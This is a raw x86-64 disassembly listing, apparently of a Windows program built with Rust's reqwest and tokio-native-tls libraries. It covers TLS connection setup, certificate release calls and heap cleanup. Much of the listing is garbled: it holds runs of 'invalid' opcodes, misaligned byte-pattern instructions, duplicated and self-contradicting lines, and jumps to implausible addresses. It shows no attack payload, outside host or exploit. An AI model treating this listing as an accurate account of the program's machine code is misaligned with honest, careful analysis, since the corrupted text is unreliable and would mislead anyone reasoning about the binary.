add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], rax
mov r15, qword [rsp + 0xe8]
cmp r15, rdi
jne 0x1400ac32e
jmp 0x1400ac394
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0xab0]
call fcn.1400adc10
mov word [rax + rsi*4], fs
or al, byte [rax]
add al, ch
invalid
lock dec qword [r12]
dec qword [r12]
jne 0x1400ac5fc
mov rcx, r12
call fcn.1400adf70
add byte [rax], al
add byte [rax], al
jmp 0x1400ac5fc
add al, byte [rax]
add byte [rcx], dh
ror byte [rax - 0x77], 0x44
and al, 0x40
xor eax, eax
mov qword [rsp + 0x40], rax
cmp r15, rdi
je 0x1400ac2f8
mov r15, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0xf8]
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je case.0x1400a8746.23
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
push qword [rsp + rsi + 0x48]
xor al, 0x48
xor al, 0x48
mov rax, rdi
mov eax, edi
shr rax, 0x3e
jne 0x1400acf31
lea rbp, [rdi + rdi]
movzx eax, byte [0x140182310]
mov ch, 0x5f
or eax, 0x48c93100
xor ecx, ecx
mov rdx, rbp
mov ch, 0x5f
or eax, 0x48c93100
xor ecx, ecx
mov rdx, rbp
call fcn.1400df910
test rax, rax
invalid
jne 0x1400ac37e
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov rdx, rbp
call fcn.1401082a0
mov eax, 2
xor ebp, ebp
mov qword [rsp + 0xb8], rax
mov rcx, rax
mov ecx, eax
mov ecx, eax
mov rdx, r15
cli
mov r8, rbp
call fcn.140106530
invalid
invalid
add eax, 0xacb60f00
and al, 0x28
add dword [rax], eax
movzx ebp, byte [rsp + 0x128]
movzx eax, byte [rsp + 0x129]
add byte [rax], al
add byte [rdi], cl
mov dh, 0x84
and al, 0x29
add dword [rax], eax
add byte [rax], al
mov byte [rsp + 0x48], al
mov r15, qword [rsp + 0x118]
invalid
add byte [rax], al
mov byte [rsp + 0x48], al
mov r15, qword [rsp + 0x118]
invalid
mov r15, qword [rsp + 0x118]
test r15, r15
je 0x1400ac3cd
mov rax, qword [rsp + 0x120]
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
add byte [rax], al
add al, dh
inc qword [r15]
mov qword [rsp + 0xc0], rax
lock inc qword [r15]
jg 0x1400ac3cd
ud2
lea rcx, [rsp + 0x750]
lea rdx, [rsp + 0xab0]
mov r8d, 0x130
add al, ch
movabs rax, qword [0x6c8840f6854d0005]
and al, 0x27
invalid
add al, ch
movabs rax, qword [0x6c8840f6854d0005]
and al, 0x27
je 0x1400ac421
test r13d, r13d
je 0x1400ac42b
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r13
invalid
call fcn.1400df910
test rax, rax
mov r14, qword [rsp + 0x98]
je 0x1400acf63
mov ebp, 1
xor r13d, r13d
jmp 0x1400ac451
mov edx, 1
mov ebp, 1
mov r14, qword [rsp + 0x98]
add byte [rax], al
add byte [rax - 0x77], cl
jmp 0x128f34d91
call 0x18c0ac9e9
mov ecx, esi
call qword [sym.imp.secur32.dll_FreeContextBuffer]
add byte [rax], al
add byte [rax - 0x77], cl
jmp 0x128f34d91
movabs r14, 0x8000000000000000
cmp qword [rsp + 0x100], r14
je 0x1400ac49a
mov r8d, 0x130
call fcn.140106530
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x528], rax
mov qword [rsp + 0x660], 0
mov qword [rsp + 0x668], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x670], xmm0
mov qword [rsp + 0x680], 0
mov qword [rsp + 0x688], 1
movups xmmword [rsp + 0x690], xmm0
mov qword [rsp + 0x6a0], r13
mov qword [rsp + 0x6a8], rbp
mov qword [rsp + 0x6b0], r13
mov qword [rsp + 0x6b8], 0
mov qword [rsp + 0x6c0], rdi
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x6c8], rax
mov qword [rsp + 0x6d0], rdi
mov qword [rsp + 0x6d8], r14
movaps xmm0, xmmword [rsp + 0x250]
movups xmmword [rsp + 0x6e0], xmm0
mov dword [rsp + 0x6f0], 0x10000
mov byte [rsp + 0x6f4], 0
mov qword [rsp + 0x708], r12
movdqu xmmword [rsp + 0x710], xmm6
jg 0x1400ac544
and al, 0x10
invalid
add byte [rax], al
mov qword [rsp + 0x720], r15
mov rax, qword [rsp + 0xc0]
mov eax, dword [rsp + 0xc0]
and al, 0xb8
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*8], ah
invalid
jg 0x1400ac544
and al, 0x10
invalid
mov eax, dword [rsp + 0xc0]
mov qword [rsp + 0x728], rax
mov qword [rsp + 0x730], 1
mov qword [rsp + 0x738], 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsp + 0x27]
mov byte [rsp + 0x740], al
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0x741], al
mov word [rsp + 0x742], 0x100
mov dword [rsp + 0x742], 0x8d480100
mov word [rax + rdx*2], fs
invalid
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x20
add eax, 0x64e80000
xor dword [rax], eax
invalid
invalid
mov dword [rsp + 0x742], 0x8d480100
mov word [rax + rdx*2], fs
invalid
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x20
add eax, 0x64e80000
xor dword [rax], eax
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x50
invalid
mov r15, qword [rsp + 0x750]
mov rdi, qword [rsp + 0x758]
mov rbx, qword [rsp + 0x760]
test r15, r15
je 0x1400ac61f
cmp rdi, 2
je 0x1400ac63a
lea rdx, [rsp + 0x768]
lea rcx, [rsp + 0x260]
and al, 0x60
add al, byte [rax]
add byte [rcx - 0x48], al
sbb byte [rdx], al
add byte [rax], al
call fcn.140106530
lea rcx, [rsp + 0xd8]
call fcn.1400af850
mov rax, qword [rsp + 0x68]
shl rax, 1
loopne 0x1400ac698
test eax, eax
jne 0x1400ac675
loopne 0x1400ac698
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
jne 0x1400ac699
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
test r13, r13
jne 0x1400ac6bf
jmp 0x1400ac6df
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x140182260]
pop rbx
or eax, 0xffd23100
adc eax, 0x66cd7
pop rbx
or eax, 0xffd23100
adc eax, 0x66cd7
mov rax, qword [rsp + 0x80]
shl rax, 1
shl eax, 1
shl eax, 1
test rax, rax
je 0x1400ac664
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
test r13, r13
je 0x1400ac6df
xor ebp, ebp
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax + rax]
mov rcx, qword [r14 + rbp*8]
inc rbp
call r12
cmp r13, rbp
jne 0x1400ac6d0
cmp qword [rsp + 0x50], 0
je 0x1400ac6f9
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
mov r12, rbx
je 0x1400acd62
cmp rdi, 2
mov rbx, qword [rsp + 0xa0]
jne 0x1400acdc3
invalid
add byte [rax + 2], bh
mov eax, 2
mov rdi, r12
lea r14, [rsi + 0x790]
mov byte [rsi + 0x789], 1
mov qword [rsi + 0x558], rax
mov qword [rsi + 0x560], rdi
mov esi, 0x560
mov esi, 0x560
mov qword [rsi + 0x568], r12
lea r12, [rsi + 0x570]
lea rdx, [rsp + 0x1a18]
mov r8d, 0x128
mov rcx, r12
call fcn.140106530
mov qword [rsi + 0x698], 0
lea r13, [rsi + 0x6a0]
lea rdx, [rsp + 0x1848]
lea edx, [rsp + 0x1848]
mov r8d, 0xe8
mov rcx, r13
call fcn.140106530
mov rax, qword [rsi + 0x790]
cmp rax, 3
je 0x1400ac7aa
cmp eax, 2
jne 0x1400ac88d
mov rcx, qword [rsp + 0xd0]
call fcn.1400ad770
add byte [rax], al
add al, ch
invalid
mov rax, qword [rsi + 0x558]
test rax, rax
test eax, eax
test eax, eax
je 0x1400ac8a5
lea rdx, [rsi + 0x560]
cmp eax, 1
jne 0x1400ac908
add dword ds:[rax], eax
invalid
mov r8d, 0x228
mov rcx, r14
call fcn.140106530
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsi + 0x790]
mov qword [rsi + 0x790], 2
cmp rdi, 2
je 0x1400aceec
lea rdx, [rsi + 0x798]
lea r14, [rsi + 0x8d0]
lea rcx, [rsp + 0x528]
mov r8d, 0x130
call fcn.140106530
lea rcx, [rsp + 0x660]
mov r8d, 0xe8
mov rdx, r14
call fcn.140106530
mov qword [rsp + 0x520], rdi
mov qword [rsp + 0x658], rbx
lea rcx, [rsp + 0x750]
lea rdx, [rsp + 0x520]
call fcn.1400af760
cmp qword [rsp + 0x750], 0
mov rbp, qword [rsp + 0x758]
mov rdi, qword [rsp + 0x760]
je 0x1400ac91f
mov rcx, r14
call fcn.1400adc10
mov rax, qword [rsi + 0x558]
test rax, rax
jne 0x1400ac7ba
mov rbp, qword [rsi + 0x560]
mov rdi, qword [rsi + 0x568]
lea rcx, [rsp + 0x15e0]
mov r8d, 0x128
mov rdx, r12
call fcn.140106530
mov rbx, qword [rsi + 0x698]
lea rcx, [rsp + 0x1930]
mov r8d, 0xe8
mov rdx, r13
call fcn.140106530
mov word [rsi + 0x788], 1
cmp rbp, 3
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
jne 0x1400ac9e9
jmp 0x1400acd51
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rdx]
mov ebp, 2
jmp 0x1400ac9de
mov word [rsi + 0x788], 1
xor ebx, ebx
lea rcx, [rsp + 0x1e48]
lea rdx, [rsp + 0x15e0]
mov r8d, 0x128
sub byte [rcx], al
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
call fcn.140106530
lea rcx, [rsp + 0x1b40]
lea rdx, [rsp + 0x1930]
and al, 0x30
sbb dword [rax], eax
add byte [rcx - 0x48], al
call 0x1280aca1b
adc dword [rbx - 0x39befffb], ebx
add al, 0x24
add dword [rax - 0x75], ecx
mov word [rax + rsi*4], fs
add byte [rax], al
add al, ch
dec dword [rcx]
add byte [rax], al
and al, 0x30
sbb dword [rax], eax
add byte [rcx - 0x48], al
call 0x1280aca1b
adc dword [rbx - 0x39befffb], ebx
add al, 0x24
add dword [rax - 0x75], ecx
mov word [rax + rsi*4], fs
add byte [rax], al
add al, ch
dec dword [rcx]
add byte [rax], al
cmp rbp, 2
jne 0x1400aca72
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acec1
movzx eax, byte [0x140182310]
mov edx, 0x228
xor ecx, ecx
call fcn.1400df910
add eax, dword [rax]
add eax, dword [rax]
test rax, rax
je 0x1400acf04
mov r15, rax
mov qword [rax], rbp
mov qword [rax + 8], rdi
lea rcx, [rax + 0x10]
adc byte [rax - 0x73], cl
xchg esp, eax
and al, 0x48
invalid
add byte [rax], al
mov r8d, 0x128
call fcn.140106530
mov qword [r15 + 0x138], rbx
mov rcx, r15
add rcx, 0x140
lea rdx, [rsp + 0x1b40]
mov r8d, 0xe8
call 0x1280acacf
pop rbp
invalid
add eax, 0x258d4c00
invalid
jne 0x1400acae2
add byte [rcx], dh
dec dword [rax - 0x7d]
mov esi, 0x9c0
invalid
je 0x1400acaf3
adc byte [rax - 0x73], cl
xchg esp, eax
and al, 0x48
invalid
call 0x1280acacf
pop rbp
invalid
dec dword [rax - 0x7d]
mov esi, 0x9c0
add byte [rbp + rcx + 0x48], dh
mov ecx, dword [rsi + 0x9c8]
mov rcx, qword [rsi + 0x9c8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov ch, 0x66
invalid
add byte [rax - 0x75], cl
mov ss, eax
or dword [rax], eax
add byte [rcx], dh
sar bh, cl
adc eax, 0x66686
mov rcx, qword [rsi + 0x9d0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp byte [rsi + 0x2d3], 0
je 0x1400acb31
mov esi, 0x2d3
add byte [rsi + riz - 0x7d], dh
mov esp, 0xcc824
add byte [rdx], al
cmp dword [rsp + 0xcc8], 2
jne 0x1400acb24
lea rcx, [rsp + 0xcd0]
call fcn.1400ad770
jmp 0x1400acb31
lea rcx, [rsp + 0xcc8]
call fcn.1400adc10
mov byte [rsi + 0x2d3], 0
rol dword [rdx], cl
add byte [rax], al
add byte [rax - 0x75], cl
xchg byte [rax - 0xffffffe], dh
dec qword [rax]
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
jne 0x1400acc91
mov rcx, qword [rsi + 0x2b0]
call fcn.1400398e0
int 0xf8
dec dword [rax - 0x75]
xchg byte [rax - 0xffffffe], bh
dec qword [rax]
int 0xf8
dec dword [rax - 0x75]
xchg byte [rax - 0xffffffe], bh
dec qword [rax]
je 0x1400acca2
add dword [rax], eax
add byte [rax - 0x7d], cl
mov esi, 0x290
add al, byte [rax]
add byte [rax], al
je 0x1400acb7d
mov rcx, qword [rsi + 0x298]
cmp qword [rsi + 0x290], 0
add al, byte [rax]
add byte [rax], al
je 0x1400acb7d
mov rcx, qword [rsi + 0x298]
cwde
add al, byte [rax]
add bh, bh
adc eax, 0x6662b
invalid
invalid
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
invalid
mov rcx, qword [rsi + 0x2a0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
add byte [rcx], dh
sar bh, cl
adc eax, 0x665fc
cmp byte [rsi + 0x2d4], 0
je 0x1400acbbd
cmp byte [rsi + 0x270], 2
je 0x1400acbbd
add byte [rbx + rcx*4 - 0x7a], cl
invalid
mov byte [rsi + 0x2d4], 0
cmp byte [rsi + 0x1a8], 2
add dword [rax], eax
add byte [rdx], al
add byte [rax + 0x1a8be], al
add dword [rax], eax
add byte [rdx], al
jb 0x1400acbf8
mov rbx, qword [rsi + 0x1b0]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x1d0]
mov rax, qword [rsi + 0x1b8]
mov eax, 0x48000001
mov edx, dword [rsi + 0x1c0]
mov eax, 0x48000001
mov edx, dword [rsi + 0x1c0]
mov r8, qword [rsi + 0x1c8]
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
invalid
call qword [rax + 0x10]
lea rcx, [rsi + 0x1f0]
mov rax, qword [rsi + 0x1d8]
xchg al, bl
add dword [rax], eax
add byte [rax], al
xchg al, bl
add dword [rax], eax
add byte [rax], al
invalid
invalid
xchg esi, eax
add byte [rax], al
mov rdx, qword [rsi + 0x1e0]
loopne 0x1400acc2b
add byte [rax], al
add byte [rbx + rcx*4 - 0x7a], cl
call 0x13f0acc35
mov r8, qword [rsi + 0x1e8]
call qword [rax + 0x10]
push rax
adc byte [rax - 0x73], cl
mov gs, word [rax]
add dword [rax], eax
add al, ch
sahf
xchg edi, eax
sti
invalid
push rax
adc byte [rax - 0x73], cl
mov gs, word [rax]
add dword [rax], eax
add al, ch
sahf
xchg edi, eax
sti
push qword [rcx]
xor ebp, ebp
xor ebp, ebp
mov byte [rsi + 0x2d5], 0
add byte [rax], al
add byte [rbp - 0x77], cl
mov qword [r13], r15
mov qword [r13], r15
mov qword [r13 + 8], r12
mov dword [rbp + 8], esp
or byte [rcx - 0x78], al
insd dword [rdi], dx
adc byte [rcx - 0x78], al
jge 0x1400acc6c
mov byte [r13 + 0x10], bpl
mov byte [r13 + 0x11], dil
mov eax, dword [rsp + 0x38]
mov dword [r13 + 0x12], eax
movzx eax, word [rsp + 0x3c]
mov word [r13 + 0x16], ax
mov al, 1
invalid
mov byte [rsi + 0x2d2], al
movaps xmm6, xmmword [rsp + 0x1f70]
add rsp, 0x1f88
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsi + 0x2b8]
add byte [rax], al
lock dec qword [rax]
jne 0x1400acb66
mov rcx, qword [rsi + 0x2b8]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rdx], 0
add al, ch
invalid
wait
jl 0x1400acca9
mov rdx, qword [rsi + 0x2c0]
mov edx, dword [rsi + 0x2c0]
call fcn.140004950
dec dword [rax - 0x7d]
mov esi, 0x290
add byte [rax], al
jne 0x1400acb70
invalid
mov ch, 0xfe
invalid
cmp qword [rsi + 0x290], 0
add byte [rax], al
jne 0x1400acb70
invalid
jmp 0x1400acb7d
lea rdx, [rsp + 0x768]
lea edx, [rsp + 0x768]
lea rbx, [rsp + 0x260]
mov r8d, 0x218
add byte [rax - 0x77], cl
fld1
cdqe
add eax, 0xbc8d4c00
and al, 0xb0
or al, byte [rax]
add byte [rcx - 0x48], al
sbb byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
fld1
cdqe
add eax, 0xbc8d4c00
and al, 0xb0
or al, byte [rax]
add byte [rcx - 0x48], al
sbb byte [rdx], al
add byte [rax], al
mov rcx, r15
mov rdx, rbx
call fcn.140106530
lea rbx, [rsp + 0xbe0]
mov qword [rsi + 0x790], rbp
mov dword [rsi + 0x790], ebp
mov dword [rsi + 0x790], ebp
mov qword [rsi + 0x798], rdi
mov esi, 0x798
lea rcx, [rsi + 0x7a0]
add byte [rax], al
mov r8d, 0x128
mov rdx, r15
call fcn.140106530
mov qword [rsi + 0x8c8], 0
mov dword [rsi + 0x8c8], 0
mov dword [rsi + 0x8c8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8d, 0xe8
mov rcx, r14
int1
int1
mov rdx, rbx
mov edx, ebx
call fcn.140106530
mov rax, qword [rsp + 0xa8]
mov byte [rax], 4
and al, 0xa8
add byte [rax], al
add dh, al
add byte [rcx + rax*2], al
mov byte [rsp], 3
invalid
mov byte [r12], 3
add eax, dword [rcx - 0x3a]
mov byte [r13 + 0x11], 3
adc dword [r11], r8d
mov al, 5
jmp 0x1400acc6f
invalid
invalid
invalid
invalid
invalid
lea r14, [rsp + 0x750]
add byte [rax], al
lea rdx, [rsp + 0x260]
add byte [rax], al
mov r8d, 0x218
mov rcx, r14
call fcn.140106530
add byte [rbp + rcx*4 - 0x44], cl
and al, 0x80
or byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx], fs
sbb al, byte [rax]
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
add byte [rbp + rcx*4 - 0x44], cl
and al, 0x80
or byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx], fs
sbb al, byte [rax]
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
mov rdx, r14
call fcn.140106530
invalid
bnd call fcn.140106530
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x1848]
mov r8d, 0xe8
call 0x18c0acdad
mov edx, edi
mov word [rax + rcx*2], fs
sbb byte [rax], al
add byte [rcx - 0x48], al
call 0x18c0acdad
mov edx, edi
call fcn.140106530
xor eax, eax
mov rbx, qword [rsp + 0xa0]
add byte [rax], al
invalid
jl 0x1400acd49
add eax, 0x48c03100
mov ebx, dword [rsp + 0xa0]
add byte [rax], al
invalid
jmp 0x1400ac71f
lea r14, [rsp + 0x750]
lea rdx, [rsp + 0x260]
mov r8d, 0x218
mov rcx, r14
call fcn.140106530
add eax, 0xbc8d4c00
and al, 0x80
or byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx], fs
and al, 0x18
sbb al, byte [rax]
add byte [rax], al
and al, 0x18
sbb al, byte [rax]
add byte [rax], al
mov r8d, 0x128
sbb byte [rdx], bl
add byte [rax], al
mov r8d, 0x128
add dword [rax], eax
add byte [rcx + rcx*4 - 0xe], cl
mov rdx, r14
call fcn.140106530
lea rcx, [rsp + 0x1848]
lea ecx, [rsp + 0x1848]
add eax, 0x8c8d4800
and al, 0x48
add byte [rax - 0x73], cl
mov word [rax + rcx*2], fs
lea ecx, [rsp + 0x1848]
sbb byte [rax], al
add byte [rcx - 0x48], al
mov eax, 0xe8
invalid
mov r8d, 0xe8
mov eax, 0xe8
mov rdx, r15
mov edx, edi
cli
call fcn.140106530
mov eax, 1
jmp 0x1400ac71f
movzx eax, byte [0x140182310]
mov edx, 0x1d
xor ecx, ecx
call fcn.1400df910
fisubr word [rdx]
add eax, dword [rax]
test rax, rax
test eax, eax
je 0x1400acf70
mov r12, rax
movups xmm0, xmmword [0x140143ea0]
adc byte [0x140143ea0], al
invalid
adc byte [0x140143ea0], al
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [0x140143e93]
or dword [rax], eax
or dword [rax], eax
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x18
add byte [rax], al
invalid
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acedd
mov r15, rax
mov qword [rax], 0x1d
mov dword [rax], 0x1d
mov dword [rax], 0x1d
add byte [0x18c0ace76], bl
mov dword [rax + 8], esp
invalid
mov qword [rax + 8], r12
or byte [rax - 0x39], cl
adc byte [0x1290ace82], bl
invalid
mov ebp, ebx
invalid
mov qword [rax + 0x10], 0x1d
jmp 0x1400aba11
lea r8, [0x14013d6c8]
mov rcx, r15
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
mov edx, 0x2000
mov rcx, r15
call fcn.140108620
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x14013d540]
mov edx, 0x1e
call fcn.140108990
invalid
invalid
invalid
mov edx, 0x8b90005
add byte [rax], al
add byte [rdx + 8], bh
mov ecx, 8
mov edx, 8
call fcn.1401082c0
add byte [rcx + 1], bh
mov ecx, 1
mov rdx, r12
call fcn.1401082a0
loop 0x1400acec1
ret
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x18
call fcn.1401082c0
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
or eax, 0x905c5
invalid
lea r8, [0x1401429e8]
mov edx, 0x1e
call fcn.140108990
add eax, 0x8b900
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x228
call fcn.1401082c0
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov edx, 0xe
call fcn.1401082a0
call fcn.140010970
mov ecx, 1
mov edx, 0x13
call fcn.1401082a0
invalid
invalid
add eax, 0x1b900
add byte [rax], al
mov ecx, 1
mov edx, 0x1e
call fcn.1401082a0
invalid
add byte [rcx + 1], bh
mov ecx, 1
mov edx, 0x21
add byte [rax], al
call fcn.1401082a0
mov ecx, 1
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
invalid
mov rdx, r13
call fcn.1401082a0
xor byte [rbx + 0x1b90005], dh
add byte [rax], al
add byte [rdx + 0x1d], bh
mov ecx, 1
mov edx, 0x1d
call fcn.1401082a0
int3
sub rsp, 0x20
sub esp, 0x20
and byte [rdi], cl
mov dh, 0x81
rol byte [rdx], cl
movzx eax, byte [rcx + 0x2d2]
add byte [rax], al
cmp rax, 6
ja case.0x1400acfa9.1
invalid
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
lea rcx, [0x1401789fc]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
mov ecx, esi
call fcn.1400663e0
cmp byte [rsi + 0xd0], 2
mov esi, 0xd0
add dh, byte [rdx + 0x2b]
mov esi, 0xd0
add byte [rax], al
add dh, byte [rdx + 0x2b]
mov rdi, qword [rsi + 0xd8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0xf8]
invalid
mov rax, qword [rsi + 0xe0]
mov rdx, qword [rsi + 0xe8]
call 0x18c0acffd
mov eax, dword [rsi + 0xf0]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
call 0x18c0acffd
mov eax, dword [rsi + 0xf0]
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x7a], cl
lock add byte [rax], al
add bh, bh
call qword [rax + 0x10]
lea rcx, [rsi + 0x118]
add byte [rax - 0x75], cl
xchg byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
invalid
xchg esi, eax
or byte [rcx], al
call qword [rax + 0x10]
lea rcx, [rsi + 0x118]
add byte [rax - 0x75], cl
xchg byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsi + 0x108]
add byte [rax], al
mov r8, qword [rsi + 0x110]
mov eax, dword [rsi + 0x110]
call qword [rax + 0x10]
cmp byte [rsi + 0xc8], 2
push rax
adc byte [rax + 0xc8be], al
add byte [rdx], al
je 0x1400ad04d
lea rcx, [rsi + 0xc0]
add byte [rax], al
add byte [rax - 0x75], cl
xchg byte [rax + 0x48000000], ch
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsi + 0xb0]
mov rax, qword [rsi + 0xa8]
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsi + 0xb0]
mov rdx, qword [rsi + 0xb0]
mov r8, qword [rsi + 0xb8]
mov eax, dword [rsi + 0xb8]
add bh, bh
push rax
call qword [rax + 0x10]
adc byte [rax - 0x75], cl
xchg byte [rax + 0x48000000], cl
add byte [rax], al
mov rdx, qword [rsi + 0x90]
mov rax, qword [rsi + 0x88]
add byte [rax], al
mov rdx, qword [rsi + 0x90]
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [rbx + rcx*4 - 0x7a], cl
invalid
invalid
cwde
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x98]
mov eax, dword [rsi + 0x98]
mov eax, dword [rsi + 0x98]
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
invalid
add rsi, 0xa0
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp rax
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
je 0x1400ad222
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
dec dword [rax]
add al, dh
dec qword [rax]
dec dword [rax]
dec dword [rax]
je 0x1400ad23f
cmp qword [rsi + 0x290], 0
je 0x1400ad0fb
invalid
or eax, 0x988e8b48
add al, byte [rax]
add bh, bh
adc eax, 0x660ad
mov rcx, qword [rsi + 0x298]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x2a0]
mov ecx, dword [rsi + 0x2a0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp byte [rsi + 0x2d4], 0
je 0x1400ad13b
cmp byte [rsi + 0x270], 2
je 0x1400ad13b
lea rcx, [rsi + 0x268]
mov rax, qword [rsi + 0x250]
mov rdx, qword [rsi + 0x258]
mov r8, qword [rsi + 0x260]
call qword [rax + 0x10]
mov byte [rsi + 0x2d4], 0
cmp byte [rsi + 0x1a8], 2
add dword [rax], eax
add byte [rdx], al
add dh, byte [rdx + 0x2b]
add dh, byte [rdx + 0x2b]
mov rdi, qword [rsi + 0x1b0]
add byte [rax], al
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
invalid
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xd50f5
push rax
or eax, 0x49d23100
mov eax, edi
push rax
or eax, 0x49d23100
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x661ea
lea rcx, [rsi + 0x1d0]
mov rax, qword [rsi + 0x1b8]
mov eax, 0x48000001
mov edx, dword [rsi + 0x1c0]
mov ss, eax
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax + 0x48000001], bh
mov eax, 0x48000001
mov eax, 0x48000001
mov edx, dword [rsi + 0x1c0]
mov r8, qword [rsi + 0x1c8]
add bh, bh
push rax
call qword [rax + 0x10]
lea rcx, [rsi + 0x1f0]
mov rax, qword [rsi + 0x1d8]
mov rdx, qword [rsi + 0x1e0]
add byte [rax], al
adc byte [rax - 0x73], cl
invalid
add byte [rax], al
mov r8, qword [rsi + 0x1e8]
call qword [rax + 0x10]
cmp byte [rsi + 0x2d5], 0
add bh, bh
push rax
adc byte [rax + 0x2d5be], al
add byte [rax], al
je 0x1400ad1c9
or al, 0x48
lea ecx, [rsi + 0x128]
lea rcx, [rsi + 0x128]
call fcn.1400663e0
mov byte [rsi + 0x2d5], 0
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add byte [rax], al
call fcn.1400ad430
